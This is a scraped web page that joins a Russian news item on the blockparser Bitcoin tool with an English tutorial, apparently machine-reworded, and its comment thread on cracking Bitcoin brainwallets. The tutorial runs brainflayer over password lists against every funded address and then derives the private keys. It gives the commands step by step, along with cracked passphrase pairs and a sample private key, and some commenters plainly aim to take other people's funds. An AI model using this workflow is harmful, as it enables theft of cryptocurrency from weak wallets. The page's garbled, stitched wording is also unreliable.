articles

GitHub - znort987blockparser: Simple C bitcoin . Bitcoin blockparser

Содержание статьи

Разработчик znort987 выложил на github программу blockparser — быстрый парсер на C++ цепочки блоков с транзакциями Bitcoin. Как известно, в Bitcoin все транзакции публикуются в открытом доступе с момента основания системы по сегодняшний день: это 4,4 млн адресов, которые когда-либо получали BTC, и 17,8 млн адресов, отправлявших BTC. Каждый адрес представляет собой хэш ripemd-160 от открытого ключа пользователя (обычно адреса переводят в формат base58 для удобства). Для каждой транзакции можно использовать новый адрес. Парсер позволяет составить всех транзакций для любого адреса (<20 сек), определить адреса, вероятно, принадлежащие одному кошельку (20 сек), и даже вывести список всех существующих адресов с подсчитанным балансом для каждого (30 сек). В общем, очень полезная утилита.
Вот некоторые результаты, которые выдаёт парсер. Например, двадцатка «самых богатых» адресов Bitcoin по состоянию на 19 июня 2012 года (формат hash160).
 Баланс Адрес 28150.00000000 14c1ed72d09150b8e5f49d94d53070d2c1f1db36 29999.99000000 e6071c924e820f01ac64ed98ec739235e6a2f089 31000.00000000 12d5a845f2b212ce0c3bd65a4035881d9219090e 38000.00000000 4ff9d8d6614b1da5b3e46ef51c61a544626bf6e5 38057.08507373 a235c56e106baeeefc2b02bb82643179f89664f1 40000.00000000 06b7e90bb7a54137beb01c87119a3cd9061d7d52 40000.00000000 3a9a59b996775fbfec889caf30d58368fb368c0e 40000.00000000 0e1d5b7a760ddc32481d9cfc6062107624bac625 44511.44100000 73048525c8c4dda15cf0e9b648a795ef30371e00 44913.50856333 dff15b42ce923b6a9fbae4024600ac9c13dd0029 45000.00000000 f68212be6db427d4b30f01113920db0e9e457c8d 47457.46000000 6fbe1851f5d1de5477d147e93b3da5c0c98f4e8e 50000.00000000 f1c87a5e8ff7d14e74b858089bf771c94b1b6db4 50000.00000000 863ec44fbf7c9ed0819b52f275006b22ba781794 50129.66980000 2004f419e735115cb2a42cbc76f5b0a20c9698f8 53000.00000000 3d9e561f21d312f9b8b46e74169263e2452d5591 59258.88000000 89a37004da17f792487bcc26f853c7722c56fd91 79956.00100000 a0b0d60e5991578ed37cbda2b17d8b2ce23ab295
105555.00000000 582431b9e63d2394c8b224d1bc45d07ae95d2379
438824.90216295 8bf24a18a58ab500d30c73bf21dbf4703d31ad2c
Текущий курс BTC составляет $6,50 за 1 BTC.

На вышеупомянутом форуме автор опубликовал кластер адресов для кошелька, на который были перечислены биткоины в результате известного ограбления Linode.

AdBlock похитил этот баннер, но баннеры не зубы — отрастут

Подробнее

Реклама

Это интересно:

See foreign bitcoin transactions - Stack Overflow

Fresh Cracking Contraption Exposes Major Flaw in Bitcoin Brainwallets

Trio. Open source blockchain device Blockparser

Retrieve all Bitcoin addresses using Blockparser

./parser allBalances > allBalances.txt

You need a lot of RAM for this process. 64GB are recommended.

allBalances.txt has too much information. We only need bitcoin address. Use awk to filter allBalances.txt

awk ‘< print $Two >’ allBalances.txt > btcaddress.hex

Four. Convert Bitcoin address to Hash160 address

A slight switch is needed to convert text file. (find the script in the comments below)

Five. Convert Hash160 address to bloom filter address using hex2blf

hex2blf btcaddress.hex btcaddress.blf

brainflayer -b btcaddress.blf -i password.txt

7. Sample output: (very first column is Bitcoin Hash160 address, the last column is the password)

long numeric passwords:

long alphabet passwords:

passwords made of sentences

ac8dc3fcfa4e9e91dddfc0c3fe6d7e0021292036:u:str:may the force be with you

8b0a993126c3bf8f4b28c8264b553d6aa39f2956:u:str:Money is the root of all evil.

1622dc9d9e5423d7b84122f9ef7edfa1981d9960:u:str:nothing ventured nothing gained

0c7cdc2d447af8d422dd2b54cab2f274ca88131d:u:str:No one can make you feel inferior without your consent.

8ee2d47121c480c37f9dd0a88bddf2dc21b284da:u:str:The quick brown fox hopped over the lazy dog.

2029758fa9d81f9c36f4be2ab8696ad10fc602f8:u:str:The quick brown fox hops over the lazy dog

838edc90c250d298fc115bf028164f105e228fb9:u:str:these aren’t the droids you’re looking for

8c4cfbd55dd01f6c221372eba1e57c7496d7239f:u:str:This is the way the world finishes.

passwords in Chinese character

8. Convert Hash160 address back to Bitcoin address

Convert to bitcoin address: 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49,

Brainwallet password is 1satoshi

check Bitcoin balance on Blockchain.info

Ten. Private key for the Bitcoin address

Download open source instrument Addressgen: https://github.com/sarchar/addressgen

Bitcoin address: 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49

./genaddress.py -p 1satoshi

ECDSA private key (random number / secret exponent)

Bitcoin private key (Base58Check, uncompressed)

Bitcoin extended private key (Base58Check)

(embedded private key) -> L43jHnozmKE5TYNqMwsPgXNcTfRT7TNhzDkTgaKAgYcx99Qm5LhB

ECDSA public key (uncompressed)

Bitcoin Address (uncompressed, length=34):

Bitcoin extended public key

(embedded public key) -> 032131be64ba3f27e757c2f0f310038a8dfb768ff922448aff2841fa7954472880

(bitcoin address) -> 1Kvdg9jcdcdWGBb77Rovd8jkHjPd4eKB6t

As you can see above, the bitcoin address is 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49

the private key is 5JSGPQ2Jw1P5cVi2L8LeuWnMF5H8rLGrPPgVM2XE1cahG1BQDzY

67 thoughts on &ldquo, Bitcoin Brainwallet Cracking Contraptions &rdquo,

i need a more in depth tutorial on how to do this step by step decently Thanks if you can send me one by email please

Sorry, I don’t have a step by step tutorial.

Hi pal superb tut dose this still work would love to give it a shot

Yes, it still work.

I have one problem tho’, at step Four, since i am not a developer, i am having a hard time figuring out what switch to do to make it process a entire file. I am using a csv file which was generated by another blockparser (not znort’s) and it only outputs addresses in Base58.

How could I convert them all in one go to hex format?

Thanks in advance!

rename it to base58perl.pl

substitute the last part of the script from:

This should read base58 address from base58.txt and save the hex format address to hex.txt.

Awesome, it worked!

hopefully someone can make a utter detail on how to make this work in linux.

a tutorial i mean

how long does it take for you to get output from brainflayer? I have ended up to step #7 but now it emerges brainflayer is either working in the background or doing nothing.

I can make movie tut if Jack doesn’t mind. I cant explain much of background processes as I usually compile and pack all data tightly and quickly to script it.

use a known password for testing and you should see the output in one 2nd.

A movie tutorial would be fine. You can post the link here.

Do you have an movie tutorial, it where be fine

I don’t have any movie tutorial for this.

I get the following error on Make

make: *** [ec_pubkey_fast.o] Error 1

Any tips on how I can fix this

does it still work

Good day and keep up the good work. Please I omitted step 1 – Trio because I am attempting to use my wallet ID to check how secured my wallet is but got stuck on step Four to Five.

Need Clarification on the following as a fresh be to programming:

1. Do I need to go after the procedure you suggested on “Download the Perl script from: http://lenschulwitz.com/b58/base58perl.txt

rename it to base58perl.pl”

Two. If I am to do same after the modification, where do I upload the update?

Three. After the aforementioned steps, in what environment in github ( Is it “bitcoin directive prompt” or “brain flayercommand prompt”), do I input the instruction “hex2blf btcaddress.hex btcaddress.blf” ?

Four. Also. will I substitute btcaddress.hex with the hex value of my public key generated via http://lenschulwitz.com/base58

Thank you as I await your esteemed clarification

Two. You upload the file to where the btcaddress.hex file is on. Then run the Perl script to convert addresses in btcaddress.hex to Hash160 format

Three. run the instruction “hex2blf” in Linux environment

Four. Yes, btcaddress.hex will be updated to Hash160 format

Thanks so much for your valued feedback.

Pls help clarify as I am fresh to programming and my background is Windows.

1. Would all the downloads from step 1 to step 7 to mounted on Linux OS like Ubuntu, KDE etc or on github?

Two. Pls. under which contraption will l locate btcaddress.hex?

Apologies to bore you as I await your feedback.

1. all devices run on Linux OS

Two. you create the file btcaddress.hex at step Trio

upon make request for brainflayer i recieve this error:

gcc -O3 -flto -funsigned-char -falign-functions=16 -falign-loops=16 -falign-jumps=16 -Wall -Wextra -Wno-pointer-sign -Wno-sign-compare -pedantic -std=gnu99 -static brainflayer.o hex.o bloom.o mmapf.o hsearchf.o ec_pubkey_fast.o ripemd160_256.o dldummy.o algo/brainwalletio.o algo/warpwallet.o algo/keccak.o algo/sha3.o algo/brainv2.o secp256k1/.libs/libsecp256k1.a scrypt-jane/scrypt-jane.o -lssl -lrt -lcrypto -lz -lgmp -o brainflayer

/usr/bin/ld: cannot find -lgmp

collect2: error: ld returned 1 exit status

Makefile:68: recipe for target ‘,brainflayer’ failed

make: *** [brainflayer] Error 1

please which app did you use to run the program

Hello pls i need a private key of someone how can i get that all the app that i download did not work pls help me out

This contraption is not for the purpose of recovering the private key for a given bitcoin address.

I have attempted every step in this tutorial (I stripped the 0 balance hashes out), but no luck so far.

Could you provide a hash that i can put in my list that will undoubtedly result in a match? My brainflayer has been running for fairly some time, and there are 0 hits.

The sample hash in this post should work.

How do I run any of these files on windows?

To me these are just folders with random files I have no idea what to do with..

Just a little help on that would be greatly appreciated!

These contraptions run on Linux. I don’t have the Windows version.

I have a question when I run the last program you gave us I ge this error,

File “D:\George\Crack\GeorgeS\addressgen-master\genaddress.py”, line 456, in

File “D:\George\Crack\GeorgeS\addressgen-master\genaddress.py”, line 411, in main

public_key, private_key = gen_key_pair()

File “D:\George\Crack\GeorgeS\addressgen-master\genaddress.py”, line 94, in gen_key_pair

if ssl_library.EC_KEY_generate_key(k) != 1:

OSError: exception: access disturbance reading 0xFFFFFFFFD96E1A98

I import the libeay32.dll both also for win64 also for win 32.

How can I use this contraption, ?

Sorry, I haven’t used these implements on Windows.

if you could make an offline step by step movie all we will be very apreciated tormentor thanks for share your knoledge with us

I have encrypted DOGE wallet.

After make this instruction

/brainflayer$ ./hex2blf btcaddress.hex btcaddress.blf

[*] Initializing bloom filter…,

[*] Loading hash160s from ‘,btcaddress.hex’ 100.0%

[*] Loaded 1 hashes, false positive rate:

[*] Writing bloom filter to ‘,btcaddress.blf’…,

and create password.txt.

/brainflayer$ ./brainflayer -b btcaddress.blf -i password.txt

But output nothing.

Whats wrong.?I should install doge daemon and parse doge blockchain??

seems it work,but no found password

/brainflayer$ ./brainflayer -b btcaddress.blf -i password.txt -v -o r.txt

rate: 382.29 p/s found: 0/7 elapsed: 0.018 s

password is 34os48trs

I attempt now find my doge wallet password.Ubuntu 17.04

But I not have install DOGE wallet like .dogecoin

I just use address doge wallet on site http://lenschulwitz.com/base58 got hash from him and did btcaddress.blf .

seems it work,but no found password

/brainflayer$ ./brainflayer -b btcaddress.blf -i password.txt -v -o r.txt

rate: 382.29 p/s found: 0/7 elapsed: 0.018 s

password is 34os48trs

If you cannot help me or wont do it -let me know to my email .Thanx

Have you solved the problem? I have the same problem.

Can we use this on an addresd that has balance already. And we just want to find the private key as well as password? I assume it can be done by pasting the address in the txt file, and then carrying on the procedure?

No, this is not a implement to crack or generate private key for a given bitcoin address.

good day dear Jack

so with this device one could find brainpasswords and would be able to transfer out the funds?

doesn’t it make it too effortless for the evil-doers?

With this device it’s possible to crack a brainwallet private key if you’re fortunate. It’s a brute-force password cracking device.

This is why brainwallet.org permanently closed.

i left behind my wallet.dat password completly it was generated randomly with plain passgen device, and .txt that was containing it – lost.

All i have is wallet.dat

this tutorial is futile for me?

No, you can’t use this to recover your private key.

hello here please is still working i am working on a security to make blockchain more better

Do I need any other dependencies. I have windows so have installed Vm Virtualbox to run Ubuntu.

I’ve downloaded the utter folder from github but when I run the very first line. hex2blf btcaddress.hex btcaddress.blf, it says guideline not found.

I have navigated to the correct folder using cd, then ls will display all files.

./hex2blf btcaddress.hex btcaddress.blf

./hex2blf ./btcaddress.hex btcaddress.blf

hex2blf.c btcaddress.hex btcaddress.blf

./hex2blf.c ./btcaddress.hex btcaddress.blf

pretty much everything I can think of but the terminal with give a bash error, or say directive not found.

Please can you assist on what set up I need.

You need to compile the source code you downloaded from the Github.

I am having problem installing the brainflayer on my Linux 2017

Thank you for helping. I have this up and it emerges to be running correctly. I ran it on an address I fresh I would get a match for and it came back as 1 found. But did not tell me which address was found of the key it used to match, how can I see this?

Also under point Four, convert addresses to hash160. Is there a bulk contraption for this?

check my previous reply for the hash160 conversion device. or search for “base58perl.pl” on this page.

When i’am attempting to hex a bitcoin address with base58perl.pl it gaves me addional 00 before and 8 numbers after. How to fix that ? Cause brainflayer do not accept this hex.

In other words everything works like a charm a part of :

1) lenschulwitz base58 converter

when i take your bitcoin address example like 1NYEM85RpgkSofLqDfwjb21o3MD4ibSo49

it gaves me 00EC42AD7FD54F931274B83F6137379206E458B1063EC89E96 instead of

ec42ad7fd54f931274b83f6137379206e458b106. Seems same a part of 00 at embark and 8 digits more at the end. I cant understand why. Both times even i do it on his website or in perl in my terminal, the result is the same. In other converters everything ok but you cant do massive conversion.

Two) In brainflayer you have result : ec42ad7fd54f931274b83f6137379206e458b106:u:str:1satoshi

and my is ec42ad7fd54f931274b83f6137379206e458b106:u:Sha256:1satoshi.

the diference is only inbetween str and sha256, i do all the same as you but result is different. i dont know if its depends on some extra keyword you add in promt line or no. Any way its working.

Waiting for your comment, with best regards, Alex.

00EC42AD7FD54F931274B83F6137379206E458B1063EC89E96 is the same as

This bitcoin address is a 25 bytes number which is linked to the hash 160 as goes after:

address = [Version Byte (1)][Hash 160 (20)][Checksum (Four)]

The version byte is simply 0x00 for the main bitcoin network and the Four checksum bytes are simply the very first Four bytes of the dual sha256 hash of the 21 bytes [Version Byte][Hash 160]

To get only the hash160 in step Four, update the code in base58perl.pl

say $fhDest $binary_address,

say $fhDest substr $binary_address, Two, 40,

Thank you very much for your response. Now it is working in decent way, with this extra string.

I know that they are the same, but unluckily brainflayer don’t want to accept hash160 in that way, and as i don’t understand in coding, i was confused. Now everything working fine.

Thank you again, and have a nice day !

Brainflayer required devel libs installed (dependencies)

You might need to update Makefile in Brainflayer if you receive the following error message when you compile the source code.

Brainflayer is not presently multithreaded. If you want to run it on numerous cores, you’ll have to use -n and -k options. Run brainflayer -h for more information.

I tested brainflayer with single process on a 1 core VPS with SSD, it can check 100,000 passwords per 2nd.

If you run Four processes on a Four core VPS, it can check 400,000 password per 2nd.

The following instruction will split the password file into Four lumps and run Four separated processes to utilize Four cores.

I have something like 75 000 p/s using 1 core in virtual box on my macbook air.

It checks big CrackStation dictionary in Four,Five hours, and petite one in 40 min.

Maybe you have some other links for big dictionary or passpahrases list ?

I have other interesting brute force python script that uses passpharses, but its much low speed vs brain flayer. if you are interesting i will post a link.

You can find some large password lists here:

Yes you’re welcome to post any link if it’s relevant to the topic.

please i find it hard setting it up for the past two mouth please somebody out there help me thank you in advance.

please help me out with this errors, its shows up when am attempting to compile it

1. i have this error when attempting to compile brainflayer.c

brainflayer.c: In function ‘main’:

brainflayer.c:818:9: warning: this decimal constant is unsigned only in ISO C90 [enabled by default]

> else if (time_delta <, 2500000000) <

brainflayer.c:839:9: warning: format ‘%zu’ expects argument of type ‘size_t’, but argument Four has type ‘uint64_t’ [-Wformat=]

brainflayer.c:839:9: warning: format ‘%zu’ expects argument of type ‘size_t’, but argument Five has type ‘uint64_t’ [-Wformat=]

/usr/bin/ld: cannot open output file brainflayer: Is a directory

collect2: error: ld returned 1 exit status

Two. for hex2blf file

hex2blf.c: In function ‘main’:

hex2blf.c:57:7: warning: format ‘%ju’ expects argument of type ‘uintmax_t’, but argument Four has type ‘__off_t’ [-Wformat=]

fprintf(stderr, ",[!] Bloom filter file ',%s', is not the correct size (%ju != %d)\n",, bloomfile, sb.st_size, BLOOM_SIZE),

/tmp/ccMZW5gm.o: In function `main',:

hex2blf.c:(.text+0x9d0): undefined reference to `bloom_set_hash160',

hex2blf.c:(.text+0xaaf): undefined reference to `exp',

hex2blf.c:(.text+0xac3): undefined reference to `pow',

collect2: error: ld returned 1 exit status

thank you i will await your reply

Interesting script, effortless to use.

p.s. thank you for the link with passwords list.

Please tormentor can you give me a peak on how to compile the brainflayer source code.

you use make instruction to compile source code.

Please can u give me an example of the instruction please?

Related movie: How to Sell Bitcoin in Coinbase

Tags: bitcoin blockparser

<< Go back to the previous page

Похожие статьи